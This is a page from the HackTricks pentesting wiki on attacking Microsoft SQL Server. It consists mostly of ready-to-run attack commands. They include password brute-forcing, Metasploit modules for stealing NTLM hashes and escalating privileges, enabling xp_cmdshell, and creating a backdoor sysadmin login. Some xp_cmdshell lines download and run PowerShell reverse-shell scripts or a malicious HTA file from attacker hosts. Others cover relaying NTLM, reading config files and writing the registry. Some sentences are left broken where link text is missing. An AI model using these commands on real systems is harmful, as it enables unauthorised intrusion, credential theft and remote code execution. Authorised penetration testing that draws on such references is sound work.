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Basic Information
From :
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\
Default port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Default MS-SQL System Tables
master Database: This database is crucial as it captures all system-level details for a SQL Server instance.
msdb Database: SQL Server Agent utilizes this database to manage scheduling for alerts and jobs.
model Database: Acts as a blueprint for every new database on the SQL Server instance, where any alterations like size, collation, recovery model, and more are mirrored in newly created databases.
Resource Database: A read-only database that houses system objects that come with SQL Server. These objects, while stored physically in the Resource database, are logically presented in the sys schema of every database.
tempdb Database: Serves as a temporary storage area for transient objects or intermediate result sets.
If you don'thave credentials you can try to guess them. You can use nmap or metasploit. Be careful, you can block accounts if you fail login several times using an existing username.
Metasploit (need creds)
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
Manual Enumeration
Login
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
Common Enumeration
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
Get User
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
Get Permissions
Securable: Defined as the resources managed by SQL Server for access control. These are categorized into:
Server – Examples include databases, logins, endpoints, availability groups, and server roles.
Database – Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
Schema – Includes tables, views, procedures, functions, synonyms, etc.
Permission: Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:
Server Level using logins
Database Level using users
Principal: This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
Tricks
Execute OS Commands
Note that in order to be able to execute commands it's not only necessary to have xp_cmdshellenabled, but also have the EXECUTE permission on the xp_cmdshell stored procedure. You can get who (except sysadmins) can use xp_cmdshell with:
Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Steal NetNTLM hash / Relay attack
You should start a SMB server to capture the hash used in the authentication (impacket-smbserver or responder for example).
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:
By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
However, the BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
MSSQL could allow you to execute scripts in Python and/or R. These code will be executed by a different user than the one using xp_cmdshell to execute commands.
Example trying to execute a 'R'"Hellow World!"not working:
Example using configured python to perform several actions:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
Read Registry
Regular
Instance-Aware
sys.xp_regread
sys.xp_instance_regread
sys.xp_regenumvalues
sys.xp_instance_regenumvalues
sys.xp_regenumkeys
sys.xp_instance_regenumkeys
sys.xp_regwrite
sys.xp_instance_regwrite
sys.xp_regdeletevalue
sys.xp_instance_regdeletevalue
sys.xp_regdeletekey
sys.xp_instance_regdeletekey
sys.xp_regaddmultistring
sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring
sys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
RCE with MSSQL User Defined Function - SQLHttp
It's possible to load a .NET dll within MSSQL with custom functions. This, however, requires dbo access so you need a connection with database as sa or an Administrator role.
Other ways for RCE
MSSQL Privilege Escalation
From db_owner to sysadmin
If a regular user is given the role db_owner over the database owned by an admin user (such as sa) and that database is configured as trustworthy, that user can abuse these privileges to privesc because stored procedures created in there that can execute as the owner (admin).
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
You can use a metasploit module:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
If you can impersonate a user, even if he isn't sysadmin, you should check if the user has access to other databases or linked servers.
Note that once you are sysadmin you can impersonate any other one:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
You can perform this attack with a metasploit module:
Extracting passwords from SQL Server Linked Servers
Some requirements, and configurations must be done in order for this exploit to work. First of all, you must have Administrator rights on the machine, or the ability to manage the SQL Server Configurations.
After validating your permissions, you need to configure three things, which are the following:
Enable TCP/IP on the SQL Server instances;
Add a Start Up parameter, in this case, a trace flag will be added, which is -T7806.
Enable remote admin connection.
Local Privilege Escalation
The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator following one of these 2 paged:
Shodan
port:1433 !HTTP
References
HackTricks Automatic Commands
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
Support HackTricks
to find more information about how to abuse this feature:
To write files using MSSQL, we need to enable , which requires admin privileges, and then execute some stored procedures to create the file:
Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the :
For more examples check out the .
to see an example.
There are other methods to get command execution, such as adding , , , and .
An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found
To automate these configurations, has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords.
For further information, refer to the following links regarding this attack:
Learn & practice AWS Hacking:
Learn & practice GCP Hacking:
Check the !
Join the 💬 or the or follow us on Twitter 🐦 .
Share hacking tricks by submitting PRs to the and github repos.
